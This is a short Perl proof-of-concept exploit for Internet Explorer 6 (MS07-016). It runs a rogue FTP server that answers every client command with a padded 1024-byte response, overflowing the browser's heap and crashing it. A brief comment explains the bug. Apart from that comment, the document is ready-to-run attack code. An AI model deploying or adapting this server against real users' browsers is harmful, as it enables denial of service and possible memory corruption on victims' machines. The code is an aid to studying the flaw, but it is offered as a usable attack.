MS Internet Explorer (FTP Server Response) DoS Exploit

#!/usr/bin/perl

# MS 07-016 FTP Server Response PoC
# Usage: ./ms07016ftp.pl [LISTEN_IP]
#
# Tested Against: MSIE 6.02900.2180 (SP2)
#
# Details: The response is broken into buffers, either at length 1024,
# or at '\r\n'. Each buffer is apended with \x00, without
# bounds checking. If the response is exctly 1024 characters
# in length, you will overflow the heap with the string \x00.


use IO::Socket;
use strict;

# Create listener
my $ip=shift || '127.0.0.1';
my $sock = IO::Socket::INET->new(Listen=>1,
LocalHost=>$ip,
LocalPort=>'21',
Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");

# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 waa waa wee waa\r\n";

# Send response code with total lenght of response = 1024
while (<$sock_in>){
my $response;
if($_ eq "USER") { $response="331 ";}
elsif($_ eq "PASS") { $response="230 ";}
elsif($_ eq "syst") { $response="215 ";}
elsif($_ eq "CWD") { $response="250 ";}
elsif($_ eq "PWD") { $response="230 ";}
else { $response="200 ";}
print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);
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